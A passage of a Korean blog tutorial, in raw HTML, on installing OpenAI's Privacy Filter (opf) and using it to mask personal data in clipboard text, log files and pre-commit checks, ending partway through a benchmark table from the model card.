this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1384&quot; height=&quot;1210&quot; data-origin-width=&quot;1384&quot; data-origin-height=&quot;1210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;error: externally-managed-environment

&amp;times; This environment is externally managed
╰─&amp;gt; To install Python packages system-wide, try brew install xyz,
    where xyz is the package you are trying to install.

    If you wish to install a Python library that isn't in Homebrew,
    use a virtual environment:

    python3 -m venv path/to/venv
    source path/to/venv/bin/activate
    python3 -m pip install xyz&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://peps.python.org/pep-0668/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PEP 668&lt;/a&gt;이다. Homebrew가 관리하는 Python은 시스템 환경을 보호하기 위해 pip의 전역 설치를 차단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;venv(가상환경)를 만들어 그 안에 설치하면 된다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;python3 -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install -e .

# Successfully installed opf-0.1.0 torch-2.11.0 huggingface_hub-1.13.0 ...&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널을 새로 열 때마다 &lt;code&gt;source .venv/bin/activate&lt;/code&gt;를 한 번 실행해야 &lt;code&gt;opf&lt;/code&gt;를 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로도 Python 패키지를 쓸 때는 프로젝트별 venv를 만드는 패턴이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-2. 실행 &amp;mdash; 모델 자동 다운로드 (~2.8GB)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 처음 &lt;code&gt;opf&lt;/code&gt;를 실행하면 모델 가중치를 HuggingFace에서 &lt;code&gt;~/.opf/privacy_filter/&lt;/code&gt;에 내려받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;약 2.8GB라 회선 속도에 따라 수 분이 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mac(Apple Silicon 포함)에서는 CUDA가 없어 &lt;code&gt;--device cpu&lt;/code&gt; 플래그를 붙여야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생략하면 &lt;code&gt;AssertionError: Torch not compiled with CUDA enabled&lt;/code&gt; 오류가 난다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1426&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cX2SLt/dJMcabD4wyt/wKq0KGm6PhilZufRVjn0d1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cX2SLt/dJMcabD4wyt/wKq0KGm6PhilZufRVjn0d1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cX2SLt/dJMcabD4wyt/wKq0KGm6PhilZufRVjn0d1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcX2SLt%2FdJMcabD4wyt%2FwKq0KGm6PhilZufRVjn0d1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1426&quot; height=&quot;116&quot; data-origin-width=&quot;1426&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Mac은 반드시 --device cpu
$ opf --device cpu &quot;Alice was born on 1990-01-02.&quot;

Default OPF checkpoint not found at /Users/gdh/.opf/privacy_filter.
Downloading from HuggingFace repo 'openai/privacy-filter' to /Users/gdh/.opf/privacy_filter.
Fetching 4 files:   0%|          | 0/4 [00:00&amp;lt;?, ?it/s]
Downloading (incomplete total...): 0%|     | 5.19k/2.80G [00:01&amp;lt;...
Fetching 4 files: 100%|██████████| 4/4 [완료]

Alice was born on &amp;lt;PRIVATE_DATE&amp;gt;.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 결과를 보면 날짜 &quot;1990-01-02&quot;는 &lt;code&gt;&amp;lt;PRIVATE_DATE&amp;gt;&lt;/code&gt;로 잡혔지만, 이름 &quot;Alice&quot;는 마스킹되지 않았다. 단순한 영어 이름 하나만 있는 짧은 문장에서는 모델이 &lt;code&gt;private_person&lt;/code&gt;으로 분류하지 않는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 많은 맥락(성&amp;middot;이메일&amp;middot;주소가 함께 있는 문장 등)이 붙으면 잡히는 경우가 다르다. &quot;6장 제한사항&quot;에서 다루고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 실행부터는 저장된 가중치를 바로 써서 즉시 시작된다. HuggingFace 계정이 있다면 환경변수를 설정해 두면 속도 제한 없이 다운로드할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export HF_TOKEN=hf_xxxxxxxxxxxxxxxx   # HuggingFace 계정에서 발급
opf --device cpu &quot;Alice was born on 1990-01-02.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝나면 &lt;code&gt;opf&lt;/code&gt; CLI가 활성화된다. GitHub README가 보여 주는 가장 흔한 호출 패턴 네 가지는 이렇다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;opf &quot;Alice was born on 1990-01-02.&quot;
opf --device cpu &quot;Alice was born on 1990-01-02.&quot;
opf -f /path/to/file
cat /path/to/file | grep pattern | opf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열을 인자로 직접 넘기는 방식, CPU 강제 실행, 파일 입력, Unix 파이프 입력까지 한 번에 지원한다. &lt;code&gt;opf&lt;/code&gt;는 마스킹용 &lt;code&gt;redact&lt;/code&gt;, 평가용 &lt;code&gt;eval&lt;/code&gt;, 파인튜닝용 &lt;code&gt;train&lt;/code&gt; 세 가지 서브커맨드를 제공해 운영&amp;middot;평가&amp;middot;재학습 흐름을 한 바이너리에서 처리하도록 설계됐다. 기존 셸 도구에 끼워 넣기 좋은 형태다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-3. 최소 요구 사양&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 1.5B 총 파라미터와 50M 활성 파라미터, 브라우저 또는 노트북 실행 가능성을 밝히지만, 하드웨어별 고정 VRAM 요구량이나 토큰/초 처리량을 보장하지는 않는다. 메모리와 속도는 디바이스, 정밀도, 입력 길이, 배치 방식에 따라 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 도입 판단은 직접 재는 쪽이 맞다. 샘플 로그 100MB, 위키 문서 1,000건, PR diff 100건처럼 실제 입력에 가까운 묶음을 만들고 CPU, GPU, WebGPU 환경에서 처리량과 누락률을 따로 측정해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치만 보면 가벼운 사이드 도구처럼 느껴지지만, 운영 단계에서는 입력 크기와 지연시간 목표가 먼저다. 하드웨어 사양은 그다음에 정해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #b3d4f5; border-radius: 8px; padding: 12px 16px; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: 600; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 정리: git clone &amp;rarr; venv &amp;rarr; pip install &amp;rarr; &lt;code&gt;opf --device cpu&lt;/code&gt;. Mac이면 &lt;code&gt;--device cpu&lt;/code&gt; 빠뜨리지 말 것. 첫 실행 시 ~2.8GB 모델 다운로드.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 내 프로젝트에서 쓰는 4가지 패턴&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 됐으니, 이제 실제로 어디에 끼워 넣을 수 있는지 패턴별로 보자. 각 패턴은 &quot;상황 &amp;rarr; 명령어 &amp;rarr; 결과 &amp;rarr; 응용&quot; 순서로 정리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 1. 노션&amp;middot;옵시디언 노트 &amp;rarr; LLM 붙여넣기 전에 닦기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황&lt;/b&gt;: 고객 미팅 회의록, 지원 티켓, 개인 메모에 이름&amp;middot;이메일&amp;middot;전화번호가 담겨 있다. 이걸 그대로 ChatGPT&amp;middot;Claude에 붙여넣으면 원문이 외부 서버로 올라간다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Mac: 클립보드 텍스트를 마스킹해서 다시 클립보드로
pbpaste | opf --device cpu | pbcopy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과&lt;/b&gt;: &quot;갓대희(goddaehee@example.com)와 2시에 미팅&quot; &amp;rarr; &quot;갓대희(&lt;code&gt;&amp;lt;PRIVATE_EMAIL&amp;gt;&lt;/code&gt;)와 2시에 미팅&quot;이 클립보드에 들어간다. 붙여넣기만 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;응용&lt;/b&gt;: Linux는 &lt;code&gt;xclip -out | opf --device cpu | xclip -in&lt;/code&gt;, Windows PowerShell은 &lt;code&gt;Get-Clipboard | opf --device cpu | Set-Clipboard&lt;/code&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 2. 로그 파일을 AI 분석에 넘기기 전에 마스킹&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황&lt;/b&gt;: 서버 에러 로그를 AI에 던져 원인 분석을 받고 싶은데, 로그 안에 고객 이메일&amp;middot;임시 비밀번호&amp;middot;API 토큰이 섞여 있다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;opf --device cpu -f server.log &amp;gt; server.masked.log&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과&lt;/b&gt;: &lt;code&gt;server.masked.log&lt;/code&gt;에는 PII만 &lt;code&gt;&amp;lt;PRIVATE_EMAIL&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;SECRET&amp;gt;&lt;/code&gt; 태그로 교체된 로그 구조가 그대로 남는다. 이 파일을 ChatGPT&amp;middot;Claude에 첨부하거나 붙여넣으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;응용&lt;/b&gt;: 마스킹된 파일만 외부에 공유하고 원본은 사내망에 보관. S3&amp;middot;GCS 업로드 전 필터링 파이프라인에도 그대로 끼울 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 3. Git 커밋 전 &amp;mdash; 비밀번호&amp;middot;API 키 자동 검사&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황&lt;/b&gt;: 테스트 코드에 박아 둔 임시 비밀번호, 실수로 들어간 개인 이메일, 하드코딩된 API 키. 커밋 전에 잡는 게 낫다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[WARNING] Privacy Filter는 PII 감지 모델이다. &lt;code&gt;secret&lt;/code&gt; 카테고리(비밀번호&amp;middot;API 키)가 있지만, 시크릿 전용 도구(gitleaks, trufflehog)와 &lt;b&gt;보완적으로&lt;/b&gt; 쓰는 것이 원칙이다. 공식 모델 카드 기준 &lt;code&gt;secret&lt;/code&gt;의 span F1은 0.624로, 다른 PII 카테고리에 비해 낮다. pre-commit 체인에 함께 넣는 구성을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;#!/bin/sh
# .git/hooks/pre-commit 에 저장 후 chmod +x .git/hooks/pre-commit

CHANGED=$(git diff --cached --name-only | grep -E '\.(py|js|ts|jsx|tsx)$')
[ -z &quot;$CHANGED&quot; ] &amp;amp;&amp;amp; exit 0

RESULT=$(git diff --cached -- $CHANGED | opf --device cpu)
if echo &quot;$RESULT&quot; | grep -q &quot;&amp;lt;SECRET&amp;gt;&quot;; then
  echo &quot;[privacy-filter] &amp;lt;SECRET&amp;gt; 감지. 커밋 전 확인하세요.&quot;
  exit 1
fi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과&lt;/b&gt;: &lt;code&gt;&amp;lt;SECRET&amp;gt;&lt;/code&gt; 태그가 나오면 커밋이 중단된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;응용&lt;/b&gt;: &lt;code&gt;pre-commit&lt;/code&gt; 프레임워크를 쓴다면 &lt;code&gt;.pre-commit-config.yaml&lt;/code&gt;에 &lt;code&gt;local&lt;/code&gt; 훅으로 추가할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 4. 브라우저에서 바로 &amp;mdash; 코드 없이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황&lt;/b&gt;: 설치 없이, 코드 없이 빠르게 동작을 확인하거나 한 번만 쓰고 싶을 때.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI 공식 &lt;a href=&quot;https://huggingface.co/spaces/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face Space&lt;/a&gt;에 접속해 텍스트를 붙여넣으면 끝이다. 비개발자에게 동작을 보여줄 때도 유용하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[WARNING] 공개 데모다. 실제 고객 이메일, API 키, 내부 기밀이 담긴 텍스트는 절대 올리지 말 것. 동작 확인은 가짜 샘플 텍스트로 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;1476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvo4NF/dJMb990AvaR/KqgEM7599ejXjPskwW3Mqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvo4NF/dJMb990AvaR/KqgEM7599ejXjPskwW3Mqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvo4NF/dJMb990AvaR/KqgEM7599ejXjPskwW3Mqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvo4NF%2FdJMb990AvaR%2FKqgEM7599ejXjPskwW3Mqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1748&quot; height=&quot;1476&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;1476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 아쉬운점은 한글 인식을 아직 잘 하지 못하는 것으로 보인다. ㅠㅠ 영문으로 테스트하여 결과 공유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; 훨씬 필터 적용이 잘 되는것을 볼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;1482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1L2FB/dJMcaf0J8Vd/o707S3ZXczzSiHv4bwKKf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1L2FB/dJMcaf0J8Vd/o707S3ZXczzSiHv4bwKKf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1L2FB/dJMcaf0J8Vd/o707S3ZXczzSiHv4bwKKf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1L2FB%2FdJMcaf0J8Vd%2Fo707S3ZXczzSiHv4bwKKf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1388&quot; height=&quot;1482&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;1482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #b3d4f5; border-radius: 8px; padding: 12px 16px; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: 600; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 정리: 클립보드(패턴 1) &amp;rarr; 로그 파일(패턴 2) &amp;rarr; pre-commit 훅(패턴 3) &amp;rarr; 브라우저 데모(패턴 4). 일상 업무에서 접하는 대부분의 시나리오를 커버한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 복사해서 바로 쓰는 명령어 모음&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전제: venv 활성화 상태, Mac이라면 모든 명령에 &lt;code&gt;--device cpu&lt;/code&gt; 필수.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLI 명령어&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 한 문장 인라인
opf --device cpu &quot;안녕하세요, alice@example.com 입니다.&quot;

# 파일 마스킹
opf --device cpu -f mylog.txt &amp;gt; mylog.masked.txt

# 디렉토리 일괄 (bash)
for f in logs/*.log; do
  opf --device cpu -f &quot;$f&quot; &amp;gt; &quot;${f%.log}.masked.log&quot;
done

# 파이프 &amp;mdash; 실시간 로그 마지막 100줄
tail -100 server.log | opf --device cpu

# Mac 클립보드 원스텝
pbpaste | opf --device cpu | pbcopy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Python 호출 (3줄)&lt;/h3&gt;
&lt;pre class=&quot;python&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import opf

text = open(&quot;mylog.txt&quot;).read()
print(opf.redact(text))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;opf.redact(text)&lt;/code&gt;는 기본 로컬 모델로 마스킹한 문자열을 반환한다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/privacy-filter/blob/main/opf/__init__.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;opf/__init__.py&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이프와 파일 모드 모두 venv 안에서 &lt;code&gt;opf&lt;/code&gt;가 실행되어야 한다. 터미널을 새로 열었다면 &lt;code&gt;source .venv/bin/activate&lt;/code&gt;부터 확인하자.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #b3d4f5; border-radius: 8px; padding: 12px 16px; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: 600; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 정리: 위 명령어들은 모두 로컬에서 돌기 때문에 원문이 외부로 나가지 않는다. Mac에서는 &lt;code&gt;--device cpu&lt;/code&gt;를 빠뜨리지 말 것.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 성능 및 벤치마크 &amp;mdash; 무엇을 믿고, 무엇을 직접 재라&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI가 공개한 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://cdn.openai.com/pdf/c66281ed-b638-456a-8ce1-97e9f5264a90/OpenAI-Privacy-Filter-Model-Card.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 모델 카드 PDF&lt;/a&gt; &amp;sect;7.4.1 Table 1은 두 가지 데이터셋(PII-Masking-300k, CredData)에서 측정한 1차 수치를 다음과 같이 제시한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;데이터셋 / 버전&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Precision&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Recall&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;F1 (token)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;F1 (span)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PII-Masking-300k (baseline)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.940&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.980&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.960&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.926&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PII-Masking-300k (corrected)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.968&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.981&lt;/td&gt;
